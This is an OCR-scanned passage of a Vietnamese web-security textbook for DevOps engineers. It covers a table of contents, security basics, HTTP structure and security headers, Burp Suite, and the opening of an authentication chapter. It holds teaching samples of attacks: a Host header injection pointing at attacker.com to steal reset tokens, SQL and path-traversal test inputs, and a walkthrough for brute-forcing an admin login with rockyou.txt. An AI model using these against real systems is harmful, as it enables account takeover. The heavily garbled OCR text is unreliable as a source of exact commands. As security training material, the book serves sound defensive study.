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o Pod Security

o Network Policy
o Container Image Security
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o Khai niém
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o Supply Chain Attacks
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o Khai niém
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o IMDS va Credential Theft
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o Detection
o Containment
o Forensics co ban
o Communication
o Post-Mortem
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o Tai nguyén bo sung
o Mindset quan trong

o Tracking Progress
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Web Security cho DevOps Engineer

I Tir Ha tang dén Bao mat 'ng dung Web
Tac gia: Danh cho cong dong DevOps Viét Nam
Phién ban: 1.0

Nguon tham khdoe chinh: - PortSwigger Web Security Academy (portswigger.net/web-security) - OWASP (owasp.org) - RFC 7230, RFC 7231, RFC 6265, RFC 6749 -
CWE/CVE Database - Tai liéu chinh thitc AWS, GCP, Azure, Kubernetes

I L& mé dau
Ban dang van hanh ha tang Kubernetes, thiét ké pipeline CI/CD, cdu hinh Nginx, quan ly secrets trén Vault — nhung bao gio ban ty hoi: @tng dung chay trén ha tang dé cé
thuc sy an toan khong?

DevOps va Security khong phai hai thé gidi tach biét. Khi ban cdu hinh mét Ingress Controller sai, ban vira tao ra mot attack surface. Khi ban dé secret trong environment

variable cta container, ban vita md mét canh ctra. Khi CI/CD pipeline ctia ban khong kiém tra dependency, supply chain attack c6 thé xay ra bat ct ltic nao.

Cu6n sach nay dugc viét cho nhitng ngwoi nhw ban — ngwoi da biét Linux, Docker, Kubernetes, Networking — nhung chwa cé nén tang chuyén sau vé bao mat tng dung
web. Muc tiéu khong phai bién ban thanh pentester chuyén nghiép trong 30 ngay, ma gidp ban:

o Hiéu cach hacker tu duy va tan cong

o Nhan ra 16 hong triede khi hacker tim ra

¢ Tich hgp bdo mat vao workflow DevOps hang ngay

e Co du kién thic dé bat dau Bug Bounty

MB&i chuong duge cdu tric theo cling mot cong thitc: N6 1a gi — Tai sao xay ra — Hacker khai thac thé nao -~ Cach phong chéng — DevOps can lam gi. Khong ly
thuyét thita, khong lan man.

Hay doc theo tht tw néu ban mdi bat dau. Néu ban da c6 kinh nghiém, c6 thé nhay thing dén chwong minh can.

I Hwéng dan doc sach

Cho nguwéi maéi hoan toan: Doc tit Chuong 1 dén Chuwong 3 trudc, sau do doc tuan tu.

Cho DevOps da c6 kinh nghiém: C6 thé bat dau tir Chuong 4 va doc cac chuong DevOps-specific (29-35) song song.
Pé thuc hanh: Mai chuong dé cap PortSwigger Labs — hdy lam lab ngay sau khi doc ly thuyét.

Ky hiéu trong sach: - code block — lénh, payload, hodc vi du k¥ thuat - In dam — khai niém quan trong - > Blockquote — lwu y hodc canh bao quan trong

I Muc luc

Phan I: Nén tang
o Chuong 1: Gidi thiéu Web Security
e Chuong 2: HTTP Fundamentals
e Chuong 3: Burp Suite — Cong cu khong thé thiéu

Phan II: Xac thwc va Phan quyén
o Chuong 4: Authentication — L6 hdng xac thuc
¢ Chuong 5: Session Management — Quan ly phién
o Chuong 6: Access Control — Kiém soat truy cap
e Chuong 7: OAuth 2.0
e Chuong 8: JWT — JSON Web Token

Phan lll: Tan cong phia Client

e Chuong 9: CORS — Cross-Origin Resource Sharing
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Chuong 10: CSRF — Cross-Site Request Forgery
Chuong 11: XSS — Cross-Site Scripting
Chuong 22: Clickjacking

Phan IV: Injection Attacks

Chuong 12: SQL Injection

Chwong 13: NoSQL Injection

Chuong 14: Command Injection

Chuong 16: XXE — XML External Entity

Chuong 25: SSTI — Server-Side Template Injection

Phan V: Tan céng phia Server

Chuong 15: SSRF — Server-Side Request Forgery
Chuong 17: File Upload Vulnerabilities

Chuong 18: Path Traversal

Chuong 19: Open Redirect

Chuong 20: Race Condition

Chwong 21: Business Logic Vulnerabilities

Chuong 26: Insecure Deserialization

Phan VI: Tan cong ha tang va Giao thirc

Chuong 23: Web Cache Poisoning
Chuong 24: HTTP Request Smuggling

Phan VII: API va Kién tric hién dai

Chuong 27: GraphQL Security
Chuong 28: API Security

Phan VIII: DevOps Security

Chuong 29: Kubernetes Security lién quan Web
Chuong 30: CI/CD Security

Chuong 31: Secrets Management

Chuong 32: Cloud Security lién quan tng dung Web
Chuong 33: Logging va Detection

Chuong 34: Incident Response co ban

Chuong 35: Checklist bdo mat cho DevOps

Phu luc

L0 trinh hoc 30 ngay cho DevOps Engineer

Web Security cho DevOps Engineer
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Chwong 1: Gi¢i thiéu Web Security

I Tai sao DevOps can hoc Web Security?

Ndm 2023, mot ky sw DevOps cau hinh mgt S3 bucket dé serve static files. Anh ta quén khong restrict public access. Két qua: toan by database backup, bao gom thong tin

khach hang ctia 2 triéu ngudi, bi exposed ra internet trong 3 thang trwdc khi dugc phat hién.
Dbay khong phai 16i ctia developer. Day 1a 16i ctia ngudi van hanh ha tang.

DevOps Engineer ngay nay khéng chi cau hinh server — ho 1a ngudi quyét dinh: - Ung dung duwgc deploy nhw thé nao - Traffic di qua dau - Secrets dwgc lvu & dau -
Network policy dugc ap dung nhw thé nao

M@i quyét dinh d6 déu c6 thé tao ra hodc ngan chan 16 hong bao mat.

| khai niem

Web Security la tap hgp cac ky thuat, quy trinh, va cong cu nhdm bao vé tng dung web khai cac cudc tan cong tir bén ngoai va bén trong.

Ba tru cot co ban — mo hinh CIA Triad:
¢ Confidentiality (Bao mat): Dir liéu chi duwgc truy cap bdi ngudi cé quyén. Vi du: password khong bi 16, session token khéong bi danh cép.
o Integrity (Toan ven): Dit liéu khong bi thay doi trai phép. Vi du: hacker khong thé sita s6 tién trong giao dich.
o Availability (San sang): Hé thong ludn hoat dong khi can. Vi du: khong bi DDoS lam sap dich vu.

I Threat Landscape — Birc tranh moi de doa

Ai dang tan cong?
e Script kiddies: Dung tool ¢4 san, khong hiéu sdu. Nguy hiém thdp nhung nhiéu vé s6 lugng.
o Hacktivists: Tan cong vi ly do chinh tri/tw twong.
¢ Cybercriminals: Tan cong vi tién — ransomware, data theft, fraud.
o Nation-state actors: Chinh pht nwdc ngoai. Nguy hiém nhat, tai nguyén 16n nhét.
o Insiders: Nhan vién ngi b6 — c6 y hodc vo y.

o Bug bounty hunters: Ethical hackers tim 16 hong dé nhan thuéng — hitu ich!

Tai sao web la muc tiéu?

Web application 1a cita vao pho bién nhat vi: - Exposed ra internet 24/7 - Phitc tap, nhiéu component, nhiéu dependency - Developer thudng thiéu kién thitc bao mat - Dé tan

cong tir xa, khong can physical access

I OWASP Top 10 — 10 16 héng phé bién nhat
OWASP (Open Web Application Security Project — Dy 4n Bao mat Ung dung Web M&) 14 t& chtic phi lgi nhudn cong b6 danh sach 10 16 héng web nguy hiém nhat, duoc
cap nhat dinh ky.
OWASP Top 10 (2021):

1. A01: Broken Access Control — Kiém sodat truy cap bi pha v&

2. A02: Cryptographic Failures — L6i ma héa (dit liéu nhay cam khong dugc bao vé)

3. A03: Injection — SQL, Command, LDAP injection

. A04: Insecure Design — Thiét ké khong an toan ngay tir dau

. A05: Security Misconfiguration — Cau hinh sai (DevOps thuong gap!)

. A07: Identification and Authentication Failures — L6i xac thuc

4

5

6. A06: Vulnerable and Outdated Components — Dung thu vién 16i thoi

7

8. A08: Software and Data Integrity Failures — L6i toan ven (supply chain)
9

. A09: Security Logging and Monitoring Failures — Thiéu logging
10. A10: Server-Side Request Forgery (SSRF) — Gia mao request tir server
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DevOps chit y: A05 (Misconfiguration) va A09 (Logging) la hai 16i ma DevOps truc tiép chiu trdach nhiém.

I Attack Surface — Bé mat tan cong
Attack surface la toan by cac diém ma ké tdn cong c6 thé twong tac voi hé thong.
V6i mot ng dung web dién hinh:

Internet
v
[CDN / WAF]

v
[Load Balancer]
v
[Nginx / Kong API Gateway] < attack surface: headers, routing

A
[Application Servers] ~ attack surface: endpoints, parameters

v

[Database / Cache / Queue] ~ attack surface: SQL injection, etc.

A
[Cloud Services / S3 / IAM] attack surface: SSRF, misconfiguration

MBQi tang trong so do trén déu c6 thé bi tdn cong. DevOps engineer kiém sodt tat ca cac ting ngoai trir application code — nhung ngay cé cach deploy code ciing anh hudng

dén security.

I Cach hacker tw duy — Attacker Mindset
Hacker khong tan cong ngau nhién. Ho theo mot quy trinh goi la Penetration Testing Methodology:

1. Reconnaissance (Thu thap thong tin): Tim hiéu muc tiéu — domain, subdomain, IP, technology stack, ngugi dung.
2. Scanning (Quét): Tim open ports, services, vulnerabilities bang tool tw dong.

3. Exploitation (Khai thac): Tin cong 16 hong da tim dugc.

4. Post-Exploitation (Sau khai thac): Lateral movement, privilege escalation, data exfiltration.

5. Reporting (Bao cao): Vi ethical hacker — ghi lai tat ca, bao cdo cho target.

Hiéu quy trinh nay gitip ban nghi nhw hacker dé bao vé hé théng tot hon.

I Bug Bounty — Lam gi v&i kién thirc nay?

Bug Bounty 1a chuvong trinh ma céc cong ty tré tién cho ngudi tim ra 16 hong bao mat trong hé thong cua ho theo cach ¢é trach nhiém.

Cac platform phé bién: - HackerOne (hackerone.com) - Bugcrowd (bugcrowd.com) - Intigriti (intigriti.com)

Mikc thuéng dién hinh: - Low severity: $50 - $500 - Medium severity: $500 - $5,000 - High severity: $5,000 - $50,000 - Critical: $50,000+

Quy tac vang: Chi test nhitng gi dugc phép trong scope. Khong bao gid test hé thdng khdng cé authorization.

I Moi trwdng thwe hanh

PortSwigger Web Security Academy

Trang web portswigger.net/web-security cung cip: - Hon 250 labs thyc hanh mién phi - Giai thich 1y thuyét chi tiét - Progressively difficult challenges

DVWA (Damn Vulnerable Web Application)

docker run -d -p 80:80 vulnerables/web-dvwa
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Juice Shop (OWASP)

r

docker run -d -p 3000:3000 bkimminich/juice-shop

HackTheBox | TryHackMe

Nén tang hoc CTF (Capture The Flag) va penetration testing c6 huwéng dan.

I GO6c nhin DevOps
Vi DevOps Engineer, web security khong phai la viéc ctia ngudi khac. Ban can:
WAF (Web Application Firewall): - Deploy WAF trudc ing dung (ModSecurity, AWS WAF, Cloudflare) - Hiéu WAF khéng phai silver bullet — chi 1a mét 16p phong thu

Shift Left Security: - Tich hgp security scan vao CI/CD pipeline - SAST (Static Application Security Testing): scan code - DAST (Dynamic Application Security Testing):
scan ng dung dang chay - SCA (Software Composition Analysis): scan dependencies

Defense in Depth (Phong thu theo chiéu sau): - Khéong phu thuéc vao mét 16p bao mat duy nhat - WAF + Input Validation + Parameterized Queries + Least Privilege +
Monitoring

Principle of Least Privilege (Nguyén tac quyén tdi thiéu): - Container chi c6 quyén can thiét - Service account chi c6 quyén can thiét - Database user chi cé quyén can

thiét

| Tom tit
e Web Security bao vé 3 tru cot: Confidentiality, Integrity, Availability.
e DevOps Engineer la nguoi kiém soat nhiéu tang trong attack surface.
o OWASP Top 10 la danh sach 16 héng pho bién nhat — phai thudc long.
o Hacker tu duy c6 hé thong: Recon — Scan — Exploit — Post-Exploit.
o Bug Bounty la cach kiém tién hop phép tir ky nang security.
e Maoi treong thuc hanh: PortSwigger Labs, DVWA, Juice Shop.

o Defense in Depth va Least Privilege la hai nguyén tic c6t 16i.

| cau hei on tap
1. Ba tru ¢t ctia CIA Triad 1a gi? Cho vi du méi tru c6t trong bdi canh tng dung web.
2. OWASP Top 10 16 héng nao ma DevOps Engineer tryrc ti€p chiu trach nhiém nhat?
3. Attack surface ctia mgt trng dung web dién hinh bao gom nhitng ting nao?
4. Sy khac nhau gitta SAST va DAST la gi? Céi nao nén chay trong CI pipeline?

5. Tai sao Bug Bounty lai ¢6 1gi cho ca cong ty 1an researcher?
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Chwong 2: HTTP Fundamentals

| khai niem
HTTP (HyperText Transfer Protocol — Giao thitc Truyén tai Siéu van ban) la nén tang ctia moi giao tiép trén web. Hiéu HTTP la hiéu cach hacker “nhin” vao @ng dung cia

ban.

Véi Security, HTTP quan trong vi: - Moi cudc tan cong web déu thyc hién qua HTTP - L6 hong thudng ndm trong cach xtt 1y headers, parameters, cookies - Biét cdu tric

HTTP gitip ban doc va phaén tich traffic khi diéu tra

I Cach hoat dong

HTTP hoat dong theo m6 hinh Request-Response:

Client (Browser) Server (Nginx/App)

|—— HTTP Request »> |

| | (xt 1y)
| «— HTTP Response |

HTTP la stateless (khong trang thai) — moi request doc 1ap, server khong nhd request trude. Vi vy mdi can cookies va sessions dé duy tri trang thai dang nhap.

I Cau triic HTTP Request

POST /api/login HTTP/1.1

Host: example.com

Content-Type: application/json
Authorization: Bearer eyJhbGc. ..
Cookie: session=abc123
User-Agent: Mozilla/5.0 ...
Content-Length: 45

{"username": "admin", "password": "secret"}

Giai thich titng phan:
e Request line: POST /api/login HTTP/1.1 — Method + Path + Version
¢ Headers: Metadata ctia request
¢ Blank line: Ngan cich headers va body
e Body: DUt liéu gwri 1én (chi c6 véi POST/PUT/PATCH)

I Cau truc HTTP Response

HTTP/1.1 200 OK

Content-Type: application/json

Set-Cookie: session=xyz789; HttpOnly; Secure; SameSite=Strict
X-Content-Type-Options: nosniff

X-Frame-Options: DENY

Content-Security-Policy: default-src 'self'

Content-Length: 89

{"status": "success", "token": "eyJhbGc..."}

Giai thich: - Status line: HTTP/1.1 200 0K — Version + Status Code + Reason - Headers: Metadata response, security headers - Body: Dit liéu tra vé

| HTTP Methods

Method Muc dich An toan? Idempotent?
GET Lay div liéu Co Co
POST Tao dit liéu Khong Khong
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Method Muc dich An toan? Idempotent?
PUT Cap nhat toan b Khong Céo

PATCH Cap nhat mot phan Khong Khong
DELETE Xoba Khong Co

HEAD Nhuv GET nhung khong c6 body Co C6
OPTIONS Hoi server hd trg methods gi Cé Cé

Security notes: - GET khong nén cé side effects — nhung nhiéu app sai diéu nay, dan dén CSRF qua URL - OPTIONS thuong leak théng tin vé CORS policy -
PUT/DELETE phai dugc kiém soét access chat ché

I HTTP Status Codes quan trong

Thanh coéng
OK

Created

No Content

Chuyén hudng

Moved Permanently

Found (temporary redirect)
Not Modified (cached)

L6i phia Client

Bad Request

Unauthorized (chua xac thuc)

Forbidden (da xac thuc nhung khdéng co6 quyén)
Not Found

Too Many Requests (rate limiting)

L6i phia Server
Internal Server Error
Bad Gateway

Service Unavailable

Security note: Sy khac nhau gitta 401 va 403 rat quan trong: - 401 — chua ddng nhép, can xac thuc - 403 - da dang nhap nhung khéng c6 quyén

Nhiéu app sai: trd 404 thay vi 403 d€ an sy ton tai caa resource — day la security through obscurity, khong phéi bién phap bao mat thuc su.

I HTTP Headers quan trong vé Security

Request Headers

Authorization:

Authorization: Bearer <jwt-token>
Authorization: Basic <base64(user:pass)>

Tén cong: steal token, weak token, token khong expire.

Cookie:

Cookie: session=abc123; csrf_token=xyz

Tén cong: session hijacking, CSRF.

Host:

Host: example.com

Tén cong: Host header injection — attacker thay d6i Host dé poison cache hodc reset password link.
X-Forwarded-For:

X-Forwarded-For: 1.2.3.4

Dung dé xac dinh IP thuc ctia client qua proxy/load balancer. Tan cong: IP spoofing néu app tin tidng header nay mu quang.

Content-Type:
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Content-Type: application/json
Content-Type: multipart/form-data; boundary=----

Content-Type: text/xml

Tén cong: content-type confusion — gti XML khi app expect JSON dé trigger XXE.

Response Headers (Security Headers)
Content-Security-Policy (CSP):

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

Kiém sodt browser chi load resources ti* nguon dwgc phép. Phong chong XSS hiéu qué nhat.
X-Frame-Options:

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN

Ngan trang bi nhing vao iframe. Phong chong Clickjacking.
Strict-Transport-Security (HSTS):

Strict-Transport-Security: max-age=31536000; udeSubDomains; preload

Bat budc browser dung HTTPS trong twong lai. Phong chéng SSL stripping.

X-Content-Type-Options:

X-Content-Type-Options: nosniff

Ngan browser “doan” content-type. Phong chong MIME sniffing attacks.

Referrer-Policy:

Referrer-Policy: strict-origin-when-cross-origin

Kiém soét thong tin Referer gui khi navigate. Ngan leak thong tin nhay cam trong URL.

Permissions-Policy:

Permissions-Policy: camera=(), microphone=(), geolocation=()

Kiém soat quyén truy cap browser APIs. Phong chong abuse camera/mic/GPS.

| cookies — chi tit
Cookie la co ché chinh dé duy tri session. Hiéu cookie attributes la bat bugc:

Set-Cookie: session=abc123;
Path=/;
Domain=example.com;
Expires=Wed, 09 Jun 2024 10:18:14 GMT;
HttpOnly;
Secure;
SameSite=Strict

Giadi thich tirng attribute:

Attribute Y nghia Néu thiéu

Httponly JS khéng doc dugc cookie XSS c6 thé danh cép cookie
Secure Chi gtti qua HTTPS Dé bi sniff qua HTTP
SameSite=Strict Khong gui trong cross-site request CSREF attack dé hon
SameSite=Lax Gui khi navigate, khong khi fetch Can bang UX va security
SameSite=None Ludn gui (can Secure) CSREF attack dé hon

Domain Cookie ap dung cho domain nao Mac dinh: chi domain hién tai
Path Cookie ap dung cho path nao Mic dinh: path hién tai
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Attribute Y nghia Néu thiéu

Expires/Max-Age Thoi gian séng ctia cookie Session cookie (x6a khi dong tab)

| HTTPS Va TLS
TLS (Transport Layer Security — Bdo mat Tang Truyén tai) ma hoa traffic giita client va server. HTTPS = HTTP + TLS.

TLS Handshake don gian:

Client Server
|—— CclientHello ———— | (TLS version, cipher suites)
ServerHello 7\ (chon cipher suite)
Certificate ————————| (server certificate)

Key Exchange ———— |
Finished ——— |
Finished —— |
Encrypted Data =——|

Céac van dé TLS thuwong gap: - Expired certificate: App down hodc user bypass warning - Self-signed certificate: Dé bi MITM attack - Weak cipher suites: SSL 3.0,
TLS 1.0 da bi deprecate - Certificate pinning bypass: Mobile app security issue - Mixed content: HTTPS page load HTTP resource — dé bj tdn cong

Kiém tra TLS config:

e

# Dung testssl.sh
./testssl.sh https://example.com

# Hoac online: 1lat com/ssltest

| HTTPI2 va HTTPI3
HTTP/2 (2015): - Multiplexing: nhiéu request trén 1 connection - Header compression (HPACK) - Server push - Binary protocol thay vi text
HTTP/3 (2022): - Dung QUIC (UDP-based) thay vi TCP - Giam latency dang ké - Built-in encryption (TLS 1.3)

Security implications: - HTTP/2 Request Smuggling c6 cach exploit khac HTTP/1.1 - HTTP/3 QUIC c6 attack surface méi - Nhiéu WAF chwa handle HTTP/3 diing cach

| URL structure

https://user:pass@example.com:8443/api/v2/users?id=123&role=admin#section

scheme credentials hostname port path query fragment

Security issues vdi URL: - Credentials trong URL bi log trong server access log, browser history, Referer header - Query parameters thuong bi log — khong dé sensitive

data trong URL - Fragment ( # ) khong gui 1én server, nhung JavaScript c6 thé doc

I HTTP trong DevOps context

Nginx security headers

server {
# Security headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'" always;
add_header Permissions-Policy "camera=(), microphone=()" always;

# An Nginx version
server_tokens off;

Traefik (Kubernetes Ingress)

"

apiVersion: traefik.containo.us/vilalphal
kind: Middleware

metadata:
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name: security-headers
spec:
headers:
stsSeconds: 31536000
stsIncludeSubdomains: true

frameDeny: true

contentTypeNosniff: true
referrerPolicy: "strict-origin-when-cross-origin"
customResponseHeaders:

X-Robots-Tag: "noindex, nofollow"

Server: "" # An server info

Logging HTTP traffic ding cach

# Khong log password trong URL

log_format security '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'$request_time';

# Mask sensitive headers trong access log

I Vi du thwc té: Doc HTTP traffic
Khi dung Burp Suite hodc Wireshark, ban sé thdy traffic nhw sau:

GET /api/users/profile?userId=1337 HTTP/1.1

Host: api.example.com

Authorization: Bearer eyJhbGciOiJIUzI1INiIsSInNR5cCI6IkpXVCJ9.eyJ1c2VySWQi0jEzMzcsInJvbGUiO c2VyIn@.abc123
Cookie: _ga=GA1.2.123; _session=xyz

User-Agent: Mozilla/5.0 (X11; Linux x86_64)

Nhin vao request nay, mot hacker sé chd y: 1. userId=1337 trong query parameter — thtt thay thanh userId=1 dé xem c6 IDOR khong 2. JWT token trong Authorization
— decode ra dé xem payload 3. Khong c6 x-CSRF-Token — c6 thé dinh CSRF

I Kich ban tan c6ng: Host Header Injection
POST /forgot-password HTTP/1.1
Host: attacker.com ~ Hacker thay d6i header nay

Content-Type: application/x-www-form-urlencoded

email=victim@example.com

Néu server dung Host header dé tao link reset password:

Click here to reset: https://attacke om/reset?token=abc123

Victim nhan email, click link, token bi hacker capture.

Phong chong:

# Sai: dung Host header tir request

reset_url = f"https://{request.headers['Host']}/reset?token={token}"

# bung: hardcode domain trong config
reset_url = f"https://{settings.BASE_URL}/reset?token={token}"

Tom tat

o HTTP la text-based, request-response, stateless.

e Moi cudc tdn cong web déu di qua HTTP — hiéu cdu tric 1a bat budc.

e Security headers (CSP, HSTS, X-Frame-Options) 1a hang rao dau tién — dé implement, hiéu qua cao.
o Cookie attributes (HttpOnly, Secure, SameSite) bao vé session — thiéu mot céi la 16 hong.

o Khong bao gio dé sensitive data trong URL query parameters.

¢ Host header khong dang tin — lu6n hardcode domain trong config.

e TLS manh: TLS 1.2+, khong dung weak cipher suites.
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| cau hei on tap
1. Sy khac nhau gitta HTTP 401 va 403 1a gi? Tai sao diéu nay quan trong vé mdt security?
2. Cookie attribute nao quan trong nhét dé phong chong XSS? Tai sao?
3. HSTS la gi va n6 ngdn chan loai tan c6ng nao?
4. Tai sao khong nén dat sensitive data trong URL query string?

5. Content-Security-Policy header hoat dong nhw thé nao dé ngan chan XSS?
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Chwong 3: Burp Suite

| khai niem
Burp Suite la cong cu kiém thir bado mat ng dung web pho bién nhat thé gidi, duwgc phét trién bdi PortSwigger. N6 hoat dong nhr' mét intercepting proxy (proxy chan bat)
— dat gitta browser va server dé bat, doc, stta d6i toan b HTTP traffic.

Vi DevOps Engineer, Burp Suite gidp: - Quan sat chinh xac ¢ng dung dang gtri/nhan gi - Replay va modify requests d€ test 16 hong - Ty dong scan mot s6 loai vulnerability

- Phan tich authentication flow, API calls

Hai phién ban: - Burp Suite Community: Mién phi, di dung cho hoc tdp va bug bounty co ban - Burp Suite Professional: Tra phi (~449 USD/ndam), cé scanner,
Collaborator, nhiéu tinh nang nang cao

| cai aat

Yéu cau: Java 17+

t Ubuntu/Debian
sudo apt update && sudo apt install default-jdk

nl 3 ite Community tl@r portswigger.net/burp/communitydownload
# Sau do cha

java -jar burpsuite_community_v*.jar

|

Hoac dung Docker (khong khuyén khich vi can GUI):

"

# Dung Kali Linux vGi Burp sén coé

docker run -it --rm kalilinux/kali-rolling /bin/bash

apt install burpsuite

| C&u hinh ban dau

Bwéc 1: Tao Proxy Listener
Mac dinh Burp Suite lang nghe ¢ 127.0.0.1:8080 .

Burp Suite - Proxy - Options - Proxy Listeners

L— 127.0.0.1:8080 (mac dinh)

Bwéc 2: Cau hinh Browser
Cach 1: Cau hinh thu cong - Firefox: Settings — Network Settings — Manual proxy - HTTP Proxy: 127.0.0.1, Port: 8080 - Ciing dung cho HTTPS

Cach 2: Dung FoxyProxy (khuyén nghi)

e

# Cai extension FoxyPro andard cho Firefox

# Add proxy: 127.0.0.1:8080

# Toggle on/off khi can

Bwdc 3: Cai CA Certificate
bé intercept HTTPS, can cai Burp CA certificate vao browser:

. Truy cap http://burpsuite (khi proxy dang bat)
. Download CA Certificate

. Firefox: Settings - Privacy & Security - Certificates - Import
. Trust for "Identify websites"
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I Céc module chinh

1. Proxy — Trai tim cta Burp

Intercept tab:

Proxy - Intercept - Intercept is ON

Khi bat intercept, moi request tir browser déu bi “hold” lai. Ban 6 thé: - Forward: Cho request di qua - Drop: Huy request - Edit: Stta request trude khi forward

GET /api/users?id=1 HTTP/1.1
Host: example.com
Cookie: session=abc123
1
Stra id=1 thanh id=2 ngay day

HTTP History tab: Xem toan bd traffic dd qua Proxy, du intercept tat hay bat.

Chu0t phai vao request — Send to Repeater / Send to Intruder / Send to Scanner

2. Repeater — Replay va Modify Requests
Repeater cho phép gtri lai request nhiéu lan vdi cac thay doi khac nhau. Day 1a tool dung nhiéu nhat khi test thi cong.

Proxy — HTTP History - [chon request] - chudt phai - Send to Repeater

Workflow dién hinh:

Request goc:
GET /api/user?id=1337 HTTP/1.

: 1d=1337' - SQL error? - SQL injection
© id=1 — Xem user khac - IDOR

: 1d=0x539 - Hex encoding bypass

: id=../../../etc/passwd - Path traversal

Keyboard shortcuts: - Ctr1+R: Send request- Ctrl+z:Undo- Ctrl+shift+[/] : Navigate giita cac tabs

3. Intruder — Tan céng tw dong héa
Intruder ty dong hoéa viéc gii nhiéu request vdi payload khac nhau. Dung dé: - Brute force password - Fuzzing parameters - Enumerate IDs (IDOR testing) - Bypass rate
limiting
Cac Attack Type:
Sniper: [payload] cung mot vi tri, t®ng gia tri mot
Battering Ram: [payload] tdt ca vi tri cung luc, cung

Pitchfork: [payloadl][payload2] nhiéu vi tri, dong bd theo hang
Cluster Bomb: [payloadi][payload2] moi t& hop c6 thé

Vi du brute force login:

POST /login HTTP/1.1
Content-Type: application/json

{"username":"admin", "password":"§password§"}
1
banh d vi tri inject payload

Payloads - Simple list - Load wordlist (rockyou.txt)
- Start attack
- Filter by response length hoac status code khac nhau

Community Edition bj rate limit ¢ Intruder. Dting Turbo Intruder extension cho toc do cao hon.

4. Scanner (Pro only) — Tw ddng tim 16 héng

Chuot phai vao request - Scan - Active Scan

Scanner ty dong phat hién: - SQL Injection - XSS - Path Traversal - XXE - Command Injection - ...va nhiéu hon nita

file:///home/tung/Desktop/documents/tmp/postswigger/web-security-devops.html 21/151



6/6/26, 1:13 PM Web Security cho DevOps Engineer

Chi diing trén hé thong dugc phép. Active scan sé giri payloads co thé gay hai.

5. Decoder — Encode/Decode di¥ liéu

Burp - Decoder

Ho trg: - Base64 encode/decode - URL encode/decode - HTML encode/decode - Hex - Gzip - Hashing (MD5, SHA1, SHA256)

Vi du: Decode JWT token:

eyJhbGci0iJIUzI1INiISInR5cCI6IkpXVCJI9
- Decode as Base64 -

{"alg":"HS256", "typ": "IWT"}

6. Comparer — So sanh responses
Dung dé so sanh hai responses dé tim sy khac biét nho — hitu ich trong blind injection testing.

HTTP History - chon 2 responses - chudot phai - Send to Comparer

7. Logger — Ghi log toan b9 traffic

Khéc v6i HTTP History caa Proxy, Logger ghi lai traffic tir tit ca modules. Hitu ich khi debug.

8. Collaborator (Pro only) — Out-of-band testing
Burp Collaborator 1a server public ctia PortSwigger dung dé detect out-of-band interactions — khi payload trigger DNS lookup hodc HTTP request ra ngoai.
Dung trong:

Blind SSRF
Blind Command Injection

Blind XXE
Blind SQL Injection (DNS-based)

I Extensions quan trong

Cai qua BApp Store (Burp — Extensions — BApp Store):

Extension Muc dich

Param Miner Tim hidden parameters, unkeyed cache inputs
Turbo Intruder Brute force tdc d§ cao, race condition testing

Active Scan++ Nang cao scanner (Pro)

JWT Editor Edit va resign JWT tokens

Logger++ Advanced logging

Autorize Test access control (m6i request chay v6i nhiéu user)
Hackvertor Transform payloads dé bypass WAF

403 Bypasser Bypass 403 Forbidden

Workflow thwc té: Test mot APl endpoint

. Céu hinh Burp proxy

. Bat intercept

. Thuc hién thao tac trén app (login, browse, etc.)

. HTTP History - xem cac request

. Tim request thu vi (c6 parameters, auth headers, v.v.)
. Send to Repeater

. Th& cac modifications:

- Thay d6i ID values (IDOR test)

- Remove auth header (access control test)
- Inject SQL/XSS payloads

- Thém/slra headers
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8. Phan tich response (status code, length, content)

9. Néu tim ra pattern - Send to Intruder dé automate

I Burp v&i Docker/Kubernetes

Khi test ttng dung trong Docker/K8s, can cau hinh network:

r

# Test app ch trong Docker
# Tim IP cla container
docker inspect <container> | grep IPAddress

au hinh Burp target
Proxy Options

+ Hoac se app ra localhost

docker run -p 8000:8000 myapp

# - Burp intercept traffic dén localhost:8000

Luwu y: VGi HTTPS trong container, can cai Burp CA vao container hoac tit TLS verification khi test noi bg.

I Kich ban tan c6ng: Brute force login v&i Intruder

Intercept POST /login request
. Send to Intruder
. Clear tat ca auto-marked positions

. Mark §password§:
{"username":"admin", "password":"§password§"}
Payloads - Load: /usr/share/wordlists/rockyou.txt
. Options — Grep Match: "Invalid password"
(dé phan biét success/failure)
. Start Attack
. Sort by Response Length — request thanh cong c6 length khac

| cach phat hien: Burp gitp nhan biét gi
Dung Burp dé phat hién d4u hiéu 16 hong:

v Response cd stack trace/error message - thong tin 10
Response time khac nhau khi thay payload - blind injection
Response length thay d6i khi modify parameter — IDOR/access control
Set-Cookie thiéu HttpOnly/Secure - session security issue
Thiéu security headers trong response — misconfiguration
Content-Type: text/html nhung trad vé JSON - MIME confusion

I Go6c nhin DevOps

Testing trong staging environment:

) Burp nhu mot pro chay headle véi Burp REST API (Pro)

ZAP (mién phi) trong CI/CD pipeline

docker run -t owasp/zap2docker-stable zap-baseline.py \
-t https://staging.example.com \
-r zap-report.html

Ghi log traffic cho audit:

Burp - Logger - Enable logging - Export logs

- Phan tich véi ELK Stack dé detect attack patterns

| Tom tit
o Burp Suite la intercepting proxy — dét giita browser va server dé bét va stta HT TP traffic.
o Proxy: bat va forward/drop/edit request.

o Repeater: replay request vdi stta ddi — dung nhiéu nhét khi test thi cong.
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e Intruder: tw dong héa voi nhiéu payloads — brute force, fuzzing, enumeration.
e Decoder: encode/decode base64, URL, HTML, hex.

o Can cai CA certificate dé intercept HTTPS.

o Extensions nhw Param Miner, JWT Editor, Autorize rat hitu ich.

o Community Edition mién phi du dung cho learning va bug bounty.

Cau haéi on tap

1. Tai sao can cai CA certificate ctia Burp Suite vao browser? Diéu gi xdy ra néu khong cai?
2. Sy khéc nhau gitta Proxy Intercept va HTTP History la gi?

3. Intruder Attack Type “Sniper” khac “Cluster Bomb” nhu thé nao? Khi nao dung loai nao?
4. Extension “Autorize” trong Burp Suite ding dé test loai 16 héng nao?

5. Lam thé nao dé dung Burp Suite dé test API cua ting dung chay trong Docker container?
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Chwong 4: Authentication — L& héng xac thuc

| khai niem
Authentication (Xéc thyc) la qua trinh xac minh danh tinh — tra 101 cau hdi “Ban la ai?”. Khong nham v@i Authorization (Phan quyén) — “Ban duwgc phép lam gi?”.
Mitc do nguy hiém: Cao — Bypass authentication = truy cap toan b tai khoan.

